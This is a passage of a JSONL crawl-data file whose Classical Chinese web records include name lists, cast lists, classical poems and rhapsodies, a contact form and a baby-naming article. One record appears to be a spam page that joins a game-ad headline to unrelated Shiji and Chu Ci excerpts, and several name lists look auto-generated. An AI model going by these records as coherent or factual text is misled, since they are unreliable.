0.06818699836730957, \"nan_Hani_score\": 0.04604589566588402, \"jpn_Jpan_score\": 0.0324191153049469, \"wuu_Hani_score\": 0.024715008214116096, \"und_Tang_score\": 0.022921649739146233, \"und_Xsux_score\": 0.010473459959030151, \"und_Cans_score\": 0.010319308377802372}","num_words":9,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.137,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.43,"perplexity_score":500.0,"cluster_detection":1} +{"text":"可选中1个或众个下面的症结词,寻找干系原料。也可直接点\"寻找原料\"寻找整体题目。\n打开全数曼丽:斑斓。实用于女孩取名字。出自《后汉书文苑传上杜笃》:\"曼丽之容不悦于目,郑卫之声只是于耳。\"!\n依照我的取名理念,好的名字必需搜罗字形简美、音韵朗畅、意蕴厚实、文明内在、诗意美好、精巧新奇、希奇少睹、五行相补、数理祯祥九个方面。\n唐昭欣 唐雨泰 唐红琦 唐博昕 唐希奇 唐星言 唐波澈 唐思民 唐瑞是 唐茗艳 唐初欣 唐嘉睿 唐雅莲 唐书丹 唐君珊 唐竹扬 唐玮红 唐茹瑞 唐丝楠 唐雅荣 唐慕平 唐桂阳 唐冬蓉 唐瑞溪 唐学怡 唐丽钰 唐寒晶 唐子钰 唐燕华 唐筑竺 唐凤娟 唐曼曦 唐航影 唐欣怡 唐惠彬 唐先一 唐文蔚 唐曾元 唐洪华 唐佳莉 唐海艾 唐思阳 唐惜旋 唐淑梅 唐航旭 唐易芮 唐茜洁 唐尔诤 唐无卿 唐凤梅 唐红琳 唐梓浩 唐月卉 唐双勤 唐惠乐 唐纱辉 唐敬华 唐瑞婧 唐薪淼 唐佩睿 唐花学 唐美泽 唐常东 唐佳嘉 唐奕婷 唐京霖 唐京哲 唐雅玮 唐诗云 唐翊淇 唐尽云 唐柏玲 唐凤铭 唐筱加 唐梓珊 唐毓红 唐晨玲 唐睿委 唐思娥 唐若萌 唐乐丹 唐逸艺 唐毓晴 唐楷微 唐晓轩 唐赐源 唐若婷 唐玲溪 唐素馨 唐熙希 唐一仙 唐佳思 唐子筠 唐虹勉 唐樱兰 唐欣琳 唐云思 唐以华 唐荀媛 唐秋仲。","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/gaileastwood.com\/suxinhua\/1850.html","date":"2019-10-20T14:59:11Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986710773.68\/warc\/CC-MAIN-20191020132840-20191020160340-00117.warc.gz","language":"lzh","language_score":0.4787761271,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.47877612709999084, \"wuu_Hani_score\": 0.36789247393608093, \"cmn_Hani_score\": 0.13864357769489288}","num_words":103,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.581,"perplexity_score":500.0,"cluster_detection":1} +{"text":"作者:\n刘禹锡 李白 白居易 杜甫 苏轼 辛弃疾 李清照 王维 纳兰性德 李商隐 杜牧 陆游 陶渊明 孟浩然 李煜 元稹 柳宗元 韩愈 王安石 欧阳修 岑参 贾岛 韦应物 曹操 柳永 温庭筠 李贺 刘长卿 王昌龄 曹植 张籍 孟郊 杨万里 诸葛亮 屈原 王勃 范仲淹 晏殊 晏几道 周邦彦 秦观 朱熹 高适 马致远 左丘明 黄庭坚 司马迁\n陋室铭 山不在高,有仙则名。水不在深,有龙则灵。斯是陋室,惟吾德馨。苔痕上阶绿,草色入帘青。谈笑有鸿儒,往来无白丁。可以调素琴,阅金经。无丝竹之乱耳,无案牍之劳形。南阳诸葛庐,西蜀子云亭。孔子云:何陋之有?\n微信扫一扫,访问小程序","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/zzjjt.tw\/index$&poet_id=6TxOrjMubx&poet_idLabel=%E5%88%98%E7%A6%B9%E9%94%A1.htm","date":"2020-01-17T20:04:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579250590107.3\/warc\/CC-MAIN-20200117180950-20200117204950-00254.warc.gz","language":"lzh","language_score":0.6864669919,"language_script":"Hani","minhash_cluster_size":3,"top_langs":"{\"lzh_Hani_score\": 0.6864669919013977, \"cmn_Hani_score\": 0.22660064697265625, \"nan_Hani_score\": 0.061312682926654816, \"wuu_Hani_score\": 0.01148015446960926, \"yue_Hani_score\": 0.011390114203095436}","num_words":51,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.253,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.809,"perplexity_score":500.0,"cluster_detection":1} +{"text":"在线糖果派对未严格执行分诊制度四川一定点医院多人被罚\n桓子之孙曰文侯都。魏文侯元年,秦灵公之元年也。与韩武子、赵桓子、周威王同时。\n太史公曰:张耳、陈馀,世传所称贤者;其宾客厮役,莫非天下俊桀,所居国无不取卿相者。然张耳、陈馀始居约时,相然信以死,岂顾问哉。及据国争权,卒相灭亡,何乡者相慕用之诚,後相倍之戾也!岂非以势利交哉?名誉虽高,宾客虽盛,所由殆与大伯、延陵季子异矣。\n魏公子无忌者,魏昭王子少子而魏安釐王异母弟也。昭王薨,安釐王即位,封公子为信陵君。是时范睢亡魏相秦,以怨魏齐故,秦兵围大梁,破魏华阳下军,走芒卯。魏王及公子患之。\n故王者天太祖,诸侯不敢怀,大夫士有常宗,所以辨贵贱。贵贱治,得之本也。郊畴乎天子,社至乎诸侯,函及士大夫,所以辨尊者事尊,卑者事卑,宜钜者钜,宜小者小。故有天下者事七世,有一国者事五世,有五乘之地者事三世,有三乘之地者事二世,有特牲而食者不得立宗庙,所以辨积厚者流泽广,积薄者流泽狭也。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/m.trafficvulcan.com\/UCOXO72758.html","date":"2020-02-26T23:10:48Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875146562.94\/warc\/CC-MAIN-20200226211749-20200227001749-00212.warc.gz","language":"lzh","language_score":0.5730948448,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5730948448181152, \"cmn_Hani_score\": 0.24307657778263092, \"nan_Hani_score\": 0.0743420273065567, \"wuu_Hani_score\": 0.024047577753663063, \"zxx_Latn_score\": 0.015182605013251305, \"yue_Hani_score\": 0.01191244088113308}","num_words":6,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.163,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.452,"perplexity_score":500.0,"cluster_detection":1} +{"text":"鐘欣凌 黃姵嘉 張書偉 劉品言 許杰輝 王少偉 邱凱偉 楊銘威 蘇晏霈 林筳諭 ?\n傅子純 廖苡喬 王燦 柯叔元 德 ?\n陳冠霖 李燕AthenaLeeYen 曾莞婷 陳珮騏 ?\n宋蕓樺 張立昂 連晨翔 廖奕琁 ?\n梁舒涵 曾子余 羅平 ?\n王淑娟 連靜雯 張靜之 韓宜邦 趙駿亞 ?\n黃鐙輝 李又汝 孫綻 ?\n張孝全 許瑋甯 王識賢 黃河 李沐 丁寧 陳家逵 鄭人碩 ?\n孫可芳 宋柏緯 朱主愛 林子閎 林鶴軒 陳璇 龍劭華 林秀君 章廣辰 丁巧唯 ?\n李銘順 柯叔元 游安順 苗可麗 薛仕凌 ?\n石知田 連俞涵 黃騰浩 陳以文 ?\n邱勝翊 任容萱 姚以緹 吳岳擎 黃仲昆 嚴藝文 游安順 琇琴 林鶴軒 陳以文 狄志杰 唐振剛 夏靖庭 ?\n王傳一 魏蔓 紀言愷 林昀希 李維維 羅宏正 ?\n小熏 賴澔哲 廖欽亮 白潤音 陳庭妮 喜翔 ?\n羅平 楊晴 李宣榕 陳謙文 王樂妍 李宣榕 林曜晟 方馨 ?\n李宣榕 梁舒涵 曾子余 梁瀚名 楊雅筑 尹彥凱 ?\n黃姵嘉 吳慷仁 林路迪 田士廣 ?\n張立昂 劉奕兒 李紹祥 洪詩 陽詠存 檢場 柯素云 林嘉俐 簡義哲 劉晉瑋 陳庭萱 侯彥西 林家硙 ?\n侯彥西 特蕾沙 林鶴軒 吳承洋 ?\n劉以豪 劉奕兒 蔡思韻 曹佑寧 張再興 黃仲昆 天心 洪言翔 張書偉 黃鐙輝 ?\n楊麗花 陳亞蘭 ?\n胡宇崴 林伯彥 李紹祥 ?\n侯怡君 楊謹華 柯叔元 霍正奇 ?\n未知?\n蔡昌憲 黃文星 傅子純 陳怡嘉 林玟誼 白家綺 ?\n修杰楷 林予晞 方志友 ?\n郭書瑤 范少勛 溫貞菱 尹昭德 ?\n王子 阿緯 小煜 小熏 ㄚ頭 小蠻 阿本 小馬 ?\n楊麗花 陳亞蘭 楊麗花 陳亞蘭 ?\n吳俊余 項婕如 言明澔 ?\n謝盈萱 溫升豪 藍葦華 吳以涵 ?\n李 王滿嬌 邱宇辰 楊騰 ?\n謝佳見 葉星辰 劉書宏 夏語心 ?\n馬之秦 寇世勛 劉品言 周采詩 ?\n詹宛儒 李聿安 周維維 常心屏 李婕 ?\n修杰楷 鐘瑤 黃尚禾 姚以緹 柯 ?\n劉以豪 陳庭妮 李千娜 徐鈞浩 ?\n楊子儀 吳怡霈 楊小黎 陳謙文 ?\n劉香慈楊晴小嫻羅平陳謙文楊雅筑李宣榕林宜 ?\n謝坤達 林思宇 楊貴媚 吳念軒 ?\n張庭瑚 王凈 宋柏緯 謝翔雅 吳岳擎 ?\n謝怡芬 藍鈞天 鄭靚歆 江沂宸 顏毓麟 林子熙 林孫煜豪 胡釋安 葉慈毓 賀一航 吳岳擎 ?\n賈靜雯 吳慷仁 溫升豪 周采詩 ?\n李國毅 簡嫚書 太保 喜翔 張翰 ?\n鍾瑤 林子閎 王家梁 臧芮軒 ?\n曾少宗 劉倩妏 李杏 單承矩 邱震瀚 ?\n林柏叡 林真亦 陳瑀希 沈志明 李宓 杜季祥 紀源 ?\n蔡淑臻 周孝安 王識賢 蘇達 紀培慧 蔡黃汝 ?\n吳承洋 徐鈞浩 卞慶華 陳廷軒 ?\n天心 鐘承翰 溫升豪 ?\n本網站為非盈利性站點,本網站所有內容均來源于互聯網相關站點自動搜索采集信息,相關鏈接已經注明來源。\nCopyright ? 2015-2019 看空間","id":"","dump":"CC-MAIN-2020-29","url":"http:\/\/www.kukgxl.icu\/vodshow\/32-----------\/","date":"2020-07-13T01:12:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-29\/segments\/1593657140746.69\/warc\/CC-MAIN-20200713002400-20200713032400-00216.warc.gz","language":"lzh","language_score":0.5734040737,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.57340407371521, \"cmn_Hani_score\": 0.311486154794693, \"yue_Hani_score\": 0.11374429613351822}","num_words":265,"character_repetition_ratio":0.005,"word_repetition_ratio":0.0,"special_characters_ratio":0.316,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.581,"perplexity_score":500.0,"cluster_detection":1} +{"text":"曜而重光,至美詭好於凡觀兮,修稀合而靡呈,燕石 緹襲以華國兮,和璞遙棄於南荊。《夏像》韜塵於市北 兮,瓶罍抗方於兩楹。鸞皇耿介而偏棲兮,蘭桂背時 而獨榮。關寒暑以練真兮,豈改容而爽情。感昆吾之 易越兮,懷暉光之速暮。羨一稔而三春兮,尚含英以 容豫。悼曜靈之靡暇兮,限天晷之有度。聆鳴蜩之號 節兮,恐隕葉於凝露。希前軌而增騖兮,眷後塵而旋 顧。往者倏忽而不逮兮,來者冥昧而未著。二儀泊焉 其無央兮,四節環轉而靡窮。星烏逝而時反兮,夕景 潛而且融。旻三后之在天兮,歎聖哲之永終。諒道修 而命微兮,孰舍盈而戢沖。握隋珠與蕙若兮,時莫悅 而未遑。彼未遑其何恤兮,懼獨美之有傷。蹇委深而 投粵兮,庶芬藻之不彰。芳處幽而彌馨兮,寶在夜而 愈光。逼區內之迫脅兮,思攄翼乎八荒。望雲階之崇 壯兮,願輕舉而高翔。造庖犧以問象兮,辨吉繇於姬 文。將遠遊於太初兮,鑒形魄之未分。四靈儼而為衛 兮,六氣紛以成群。驂白獸於商風兮,御蒼龍於景雲。 簡廝徒於靈圉兮,從馮夷而問津。召陵陽於游谿兮, 旌王」子於柏人。前祝融以掌燧兮,殿元冥以掩塵。形 彯彯而遂遐兮,氣亹亹而愈新。挹玉膏於萊嵎兮,掇 芝英於瀛濱。揖太真以假憩兮,聽賦政於三春。《洪範》 翕而復張兮,百卉隕而更震。睇玉女之紛彯兮,執懿 筐於扶木。覽元象之靴曄兮,仍騰躍乎陽谷。吸朝霞 以療饑兮,降廩泉而濯足。將縱轡以逍遙「兮,恨東極 之路促。詔纖阿而右迴兮,覿朱明之赫戲。莅群神於 《夏庭》兮,迴蒼梧而結知。纚焦明以承旂兮,駔天馬而 高馳。讒羲和於丹丘兮,誚倒景之亂儀。尋凱風而南 暨兮,謝太陽於炎離。戚溽暑之陶鬱兮,余安能乎留 斯?聞碧雞之長晨兮,吾將往乎西游。」粵浮鷁於弱水 兮,泊舳艫於中流。苟精粹之攸存兮,誠沉羽以汎舟。 軼望舒以陵厲兮,羌神漂而氣浮。訊碩老於金室兮, 采舊聞於前修。譏淪陰於危山兮,問王母於椒丘。觀 元鳥之參趾兮,會《根壹》之神籌。擾毚兔於月窟兮,詰 姮娥於蓐收。爰攬轡而旋驅兮,訪北叟之倚伏。乘增 冰而遂濟兮,凌固陰之所滀。探龜蛇於幽穴兮,瞰罔 養之潛育。「哂倏忽之躁狂兮,喪中黃於耳目。偭燭龍 而游衍兮,窮大明於北陸。攀招搖而上躋兮,忽蹈廓 而凌虛。登閶闔而遣眷兮,頫元黃於地輿。召黔雷以 先導兮,覲天帝於清都。觀渾儀以寓目兮,拊造化之 大罏。爰辨惑於上皇兮,稽吉凶之元符。」唐則天而民 咨兮,癸亂常而感虞。孔揮涕於西狩兮,臧考祥於婁 句。跖肆暴而保乂兮,顏履仁而夙徂。何否泰之靡所 兮,眩榮辱之不圖。運可期兮不可思,道可知兮不可 為。求之者勞兮欲之者惑,信天任命兮理乃自得。且 以四位為匠,乾坤為鈞,散而為物,結而為人,陽降陰 升,一替一興,流而為川,滯而為陵。禍不可禳,福不可 徵。其《否》兮有豫,其泰兮有數。成形兮,未察,靈像兮已 固。承明訓以發蒙兮,審性命之靡求。將澄神而守一 兮,奚飄飄而遐遊?斐陳辭以告退兮,主悖惘而永歎。 惟升降之不仍兮,詠《別易》而會難。願大饗以致好兮, 盍息駕於一餐。會司儀於有始兮,延嘉賓於九乾。陳 鈞天之廣樂兮,展萬舞之至歡。枉矢爍其在手兮,狼 弧翩其斯彎。睨翟犬於帝側兮,殪熊羆於靈軒。爾乃 清道夙蹕,載輪修祖。班命受號,轙輈整旅。兆司鬱以 屆路兮,萬靈森而陳庭。豐隆軒其警眾兮,鉤陳帥以 屬兵。堪輿竦而進峙兮,文昌肅以司行。抗蚩尤之修 旃兮,建雄虹之采旌。乘雲車電鞭之扶輿委移兮,駕 應龍青虯之容裔陸離。俯游光逸景。倏爍揮霍兮,仰 流旌,垂《旄焱》,攸纖纚。前湛湛而攝進兮,後僸僸而方 馳。且啟行於重陽兮,奄稅駕乎少儀。跨列缺兮闚乾 坤,揮玉關兮出天門。涉漢津兮望崑崙,經赤霄兮臨 元根。觀品物兮終復魂,形已消兮氣猶存。眺懸舟之 離離兮,懷舊都之藹藹。仍繁榮而督引兮,將遄降而 速邁。華雲依霏而翼衡兮,日月炫晃而映蓋,蹈煙熅 兮辭天衢。心闣𦐇兮識故居,路遂遒兮情欣欣,奄忽 歸兮反常閭。修中和兮崇彝倫,大道繇兮味琴書。樂 自然兮識窮達,澹無思兮心恆娛。\n《申懷賦》〈有序〉傅咸\n余自咸寧謬為眾論所許,補太子洗馬,才不稱職,而意常惘然,作《申懷賦》。\n何天施之弘普,廁瓦礫於瓊瑛。備東宮之妙選,奉諸 君之聖明。穆穆清禁,濟濟群英。鸞翔鳳集,羽儀上京。 芬芳並發,我穢其馨;德音光宣,我累厥聲。豈伊不媿, 顧影慚形。雖自迫於隕越,懼恩隆而命輕。命既輕而 才下,諒無補於明時。塞賢哲之顯路,而塵損之日滋。 匪耽榮而忘替,實結戀之有違。忍厚顏於寮類,甘獲 戾而受譏。不悟皇恩之彌崇,授大縣乎近畿。畿云近 而防遠,情眷眷而含悲。悲惻兼懷,憂慮實深。雍可南 面,千載晞心。微微小子,斯之莫任。莫斯之任,求仁在 我。將反初服,畢志訓雅。盡烏鳥之至情,竭歡敬於膝 下。進抗疏以歸誠,退抽簪而脂車。庶所乞之克從,永","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/zh.m.wikisource.org\/wiki\/Page:Gujin_Tushu_Jicheng,_Volume_390_(1700-1725).djvu\/14","date":"2020-08-13T11:27:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738982.70\/warc\/CC-MAIN-20200813103121-20200813133121-00596.warc.gz","language":"lzh","language_score":0.6035584211,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.6035584211349487, \"cmn_Hani_score\": 0.10720647871494293, \"nan_Hani_score\": 0.09481801092624664, \"zxx_Latn_score\": 0.02371193654835224, \"yue_Hani_score\": 0.02165302447974682, \"jpn_Jpan_score\": 0.010950862430036068}","num_words":80,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.337,"perplexity_score":500.0,"cluster_detection":1} +{"text":"聯絡本行 Leave me blank for Contact Us. 名字 * 姓 * 地址 城市 州 亞拉巴馬州 阿拉斯加州 亞利桑那州 阿肯色州 加州 科羅拉多州 康乃狄克州 德拉維爾州 哥倫比亞特區 佛羅里達州 喬治亞州 夏威夷州 愛達荷州 伊利諾州 印第安那州 愛荷華州 堪薩斯州 肯塔基州 路易斯安那州 緬因州 馬里蘭州 麻塞諸塞州 密西根州 明尼蘇達州 密西西比州 密蘇里州 蒙大拿州 內布拉斯加州 內華達州 新罕布夏州 新澤西州 新墨西哥州 紐約州 北卡羅來納州 北達科他州 俄亥俄州 奧克拉荷馬州 奧勒岡州 賓夕法尼亞州 羅德島州 南卡羅來納州 南達科他州 田納西州 德州 猶他州 佛蒙特州 維吉尼亞州 華盛頓州 西維吉尼亞州 威斯康新州 懷俄明州 郵政區號 電話號碼 * 電郵地址 * 信息 * * 必填欄位 傳送 出現錯誤,請重新輸入. 感謝您的傳送! 我們會儘速與您聯繫.","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/chinese.goldenbank-na.com\/about-us\/contact-us","date":"2020-08-12T00:00:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439738858.45\/warc\/CC-MAIN-20200811235207-20200812025207-00162.warc.gz","language":"lzh","language_score":0.6995344758,"language_script":"Hani","minhash_cluster_size":16,"top_langs":"{\"lzh_Hani_score\": 0.6995344758033752, \"cmn_Hani_score\": 0.19928967952728271, \"nan_Hani_score\": 0.09404759109020233}","num_words":72,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.221,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.735,"perplexity_score":500.0,"cluster_detection":1} +{"text":"loading...\n林師傑 周志康 謝文欣 孔德賢 王虹茵\n洪永城 譚凱琪 林師傑 戴祖儀\n田蕊妮 曹永廉 李思捷 李國麟 韋家雄 林凱恩 李綺雯 羅天宇 林師傑 餘思霆 林宣妤 尹詩沛 徐玟晴 李君妍 白雲 梁芷珮 陳俊堅 王致迪 丘梓謙 丁樂鍶 曹思詩 麥皓兒 黃雪兒 蓋世寶 馮素波 胡楓 李楓 李霖恩 易智遠 張漢斌 梁珈詠 陳偉洪 何佩珉 董敬文 周志康 陳靖雲 劉宸熙 袁文傑 梁茵 劉天龍 陳榮峻 盧峻峯 吳沚默 陳嘉嘉 王樹熹 區明妙\n譚俊彥 陳山聰 黃智雯 楊秀惠 江欣燕 林嘉華 趙希洛 何遠東 何啓南 楊卓娜 羅浩銘 林師傑 杜大偉 鄭恕峯 蕭徽勇 方紹聰 唐嘉麟 尹詩沛 蔡國威 謝可逸 陳婉婷 陳家良 阮兒 司徒暉 莫偉文 孟苑榕 邵展鵬 黃凱琪 林浩文 丁樂鍶 羅永健 鄧嘉傑 何晉樂 陳戩浩 鄭雋熹 梁嘉駿 梁百川 梁珈詠 曾敏 曾慧雲 餘應彤 張雪瑩 關浩揚 梁雯蔚 於洋 黃子雄 劉芷希 李善恆 黃可盈\n郭晉安 廖碧兒 米雪 秦沛 廖安麗 許紹雄 郭政鴻 劉倩婷 林秀怡 林師傑 鍾鈺精 周家怡 蘇恩磁 範彩兒 鍾煌 何傲芝 譚真一 曾慧雲 魯芬 劉俐 梁珈詠 冼灝英 羅浩楷 何俊軒 沈卓盈 卓躒 李麗麗 李思雅 黃紀瑩 林淑敏 馬貫東 陳偉洪 呂熙 顏桂洲 陳志健 丁樂鍶 沈愛琳 羅欣羚 黎桐康 羅泳嫺 何君誠 梁健平 邱頌兒 岑寶兒 賀文傑 徐玟晴 葉暐 陳勉良 李海生 姚瑩瑩 李楓 魯文傑 李嘉 趙希洛 歐陽靖 古明華\n譚俊彥 關楚耀 朱晨麗 傅嘉莉 胡諾言 沈卓盈 楊玉梅 朱敏瀚 泰臣 林師傑 羅浩銘 溫家偉 陳嘉輝 祝文君 楊證樺 姚浩政 戴耀明 鄭家生 李君妍 楊嘉欣 白雲 梁珈詠 歐陽巧瑩 劉天龍 鄭恕峯 潘冠霖 李漫芬 方紹聰 曾慧雲 蔡國威 鄧永健 範文雅 姚嘉妮 何佩珉 關浩揚 袁鎮業 衛志豪 張智軒\n江嘉敏 吳紫韻 林師傑 區永權 梁茵 陳婉衡 陳睿雯 傅嘉莉 楊潮凱 潘梓鋒 蔣家旻\n汪明荃 森美 蘇永康 餘德丞 周嘉洛 吳偉豪 伍詠薇 張明偉 阮政峯 陳松伶 梁嘉琪 麥美恩 麥明詩 郭子豪 張灼祥 陳家樂 黎燕珊 向海嵐 邵佩詩 陳曉華 陸浩明 胡定欣 胡蓓蔚 李施嬅 黃智雯 陳貝兒 袁偉豪 梁競徽 許紹雄 楊潮凱 鍾嘉欣 吳若希 王梓軒 楊千嬅 張振朗 袁文傑 戴祖儀 陳凱琳 馮盈盈 譚凱琪 鄧佩儀 周柏豪 菊梓喬 連詩雅 丁子朗 何超蓮 薛凱琪 王灝兒 洪永城 蔡思貝 楊秀惠 林師傑 譚嘉儀 林穎彤 田蕊妮 車婉婉 卓韻芝 杜如風 谷祖琳 張曦雯 陳庭欣 麥玲玲 黎諾懿 李佳芯\n影片內的所有影片上廣告與小鴨無關,請自己做好判斷不要受騙!\n小鴨影音的所有資源都搜集自網路,不做存儲和下載,若侵犯您的權益,請電郵至vod17365#protonmail.com,我們會在48小時內處理!","id":"","dump":"CC-MAIN-2020-40","url":"https:\/\/778mov.com\/search\/-%E6%9E%97%E5%B8%AB%E5%82%91------------.html","date":"2020-09-30T01:35:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-40\/segments\/1600402101163.62\/warc\/CC-MAIN-20200930013009-20200930043009-00212.warc.gz","language":"lzh","language_score":0.659719348,"language_script":"Hani","minhash_cluster_size":2,"top_langs":"{\"lzh_Hani_score\": 0.6597193479537964, \"cmn_Hani_score\": 0.2402840256690979, \"nan_Hani_score\": 0.08646979182958603, \"yue_Hani_score\": 0.01196936797350645}","num_words":276,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.25,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.698,"perplexity_score":500.0,"cluster_detection":1} +{"text":"很多人在给宝宝取名的时候对选字有特殊的要求,比如说今年是鸡年,很多父母在给宝宝想名字的时候可能会注重米子旁的字,那带米字旁的女孩名字都有哪些呢?下面就随wed114结婚网小编来具体了解下吧。\n属鸡宝宝起名宜用\"禾\"、\"豆\"、\"米\"等偏旁的字。鸡是吃五谷杂粮的,名字里加入这些字,寓意着粮食丰盛,不缺吃穿,福寿无边。那么米字旁的字有哪些?米字旁的的字有哪些适合取名?带米字旁的女孩名字有哪些!快来跟随小编来看看吧!\n米字旁的的字有哪些适合取名\n米、粒、粉、粮 、籽、粥、类、籼等比较适合起名字。\n粒:小颗的,小碎块的。 《说文解字》释云:糂也。从米立声。 欣:快乐、喜欢、高兴、茂盛。 《说文解字》释云:笑喜也。从欠斤声。 粒表示水粒、新粒、麦粒;欣表示快乐、喜悦、欣庆,意义优美。\n起名实例:孙粒欣\n籼:\n(1) 籼稻 [indica rice]一种一年生的禾草,水稻的一种,米粒细而长,在温暖气候下广泛栽培,种子用作人类食物,谷壳和其他副产品可饲养家畜,稻杆用来造纸。\n籼似粳而粒小,始自闽入,得种于占城国。——《本草纲目》\n(2) 又如:灿稻(水稻品种之一。稻株比粳稻稍高,分蘖力强,但杆软易倒伏。米粒细长,无粘性)\n起名实例:李俊籼\n带米字旁的女孩名字(以王姓为例)\n王粒沅 王粒姚 王粒锟 王粒娟 王粒菊 王粒舰 王粒姬 王粒桔 王粒桉 王粒土 王粒荷 王粒亚 王粒革 王粒炯 王粒渍 王粒园 王粒宇 王粒竹 王粒汶 王粒兆 王粒念 王粒尤 王粒澄 王粒仙 王粒忻 王粒盈 王粒布 王粒婷 王粒军 王粒金 王粒元 王粒营 王粒弘 王粒琬 王粒奥 王粒荃 王粒引 王粒琪 王粒铖 王粒僖 王粒正 王粒仪 王粒豫 王粒能 王粒潭 王粒光 王粒瀛 王粒律 王粒羲 王粒彦 王粒贞 王粒秩 王粒奕 王粒忆 王粒坚 王粒也 王粒竞 王粒宜 王粒蓉 王粒辉 王粒弋 王粒毓 王粒乐 王粒地 王粒霄 王粒榜 王粒朵 王粒干 王粒珺 王粒钧 王粒航 王粒卿 王粒晖 王粒多 王粒绒 王粒辛 王粒清 王粒岩 王粒珞 王粒瑗 王粒誉 王粒妤 王粒绚 王粒寰 王粒棒 王粒渔 王粒迪 王粒弛 王粒颍 王粒华 王粒儒 王粒宏 王粒运 王粒藩 王粒娅 王粒虹 王粒溪 王粒成 王粒东 王粒微\n王蕴粒 王颂粒 王雅粒 王稀粒 王棒粒 王莺粒 王萌粒 王琨粒 王苓粒 王翔粒 王敏粒 王旸粒 王号粒 王禹粒 王幽粒 王妮粒 王弋粒 王伟粒 王霖粒 王芝粒 王乙粒 王滟粒 王京粒 王楣粒 王茹粒 王熔粒 王鑫粒 王力粒 王睛粒 王岸粒 王陈粒 王靖粒 王忠粒 王钰粒 王羚粒 王萧粒 王心粒 王贺粒 王韩粒 王铂粒 王冶粒 王戎粒 王浦粒 王冕粒 王煌粒 王尚粒 王干粒 王欢粒 王琬粒 王描粒 王艾粒 王侃粒 王海粒 王锘粒 王笛粒 王嵩粒 王雪粒 王方粒 王佳粒 王沛粒 王泞粒 王玫粒 王姗粒 王德粒 王墉粒 王想粒 王箫粒 王慈粒 王秦粒 王昉粒 王恋粒 王瑗粒 王澜粒 王祁粒 王倬粒 王爽粒 王劢粒 王军粒 王妤粒 王垣粒 王熙粒 王骋粒 王也粒 王羿粒 王为粒 王丽粒 王冰粒 王颐粒 王夏粒 王博粒 王郡粒 王菀粒 王晰粒 王畅粒 王洪粒 王晴粒 王洋粒 王岩粒 王诗粒 王英粒\n王菡粉 王钒粉 王绫粉 王羿粉 王玄粉 王帆粉 王澜粉 王竹粉 王囡粉 王沣粉 王鸾粉 王科粉 王芷粉 王冉粉 王越粉 王嫱粉 王锐粉 王俐粉 王景粉 王桧粉 王筠粉 王柠粉 王蓥粉 王誉粉 王缤粉 王平粉 王婧粉 王璐粉 王钦粉 王兵粉 王东粉 王恋粉 王乙粉 王心粉 王嘉粉 王垚粉 王倬粉 王想粉 王薏粉 王泳粉 王梵粉 王鸯粉 王源粉 王华粉 王骏粉 王勇粉 王汶粉 王韩粉 王煦粉 王可粉 王曦粉 王昱粉 王锌粉 王榕粉 王泊粉 王焰粉 王咏粉 王梦粉 王焘粉 王阅粉 王忆粉 王盟粉 王江粉 王皓粉 王旎粉 王旸粉 王伊粉 王棚粉 王季粉 王杉粉 王浠粉 王荷粉 王竣粉 王春粉 王永粉 王画粉 王仟粉 王炀粉 王贤粉 王萱粉 王笑粉 王佩粉 王珊粉 王栊粉 王幸粉 王裳粉 王娣粉 王瀚粉 王琴粉 王男粉 王徽粉 王能粉 王叶粉 王哲粉 王杏粉 王优粉 王泓粉 王超粉 王瀛粉 王燃粉\n王粉怡 王粉裕 王粉端 王粉爱 王粉琨 王粉棒 王粉南 王粉永 王粉杰 王粉晴 王粉营 王粉程 王粉满 王粉芬 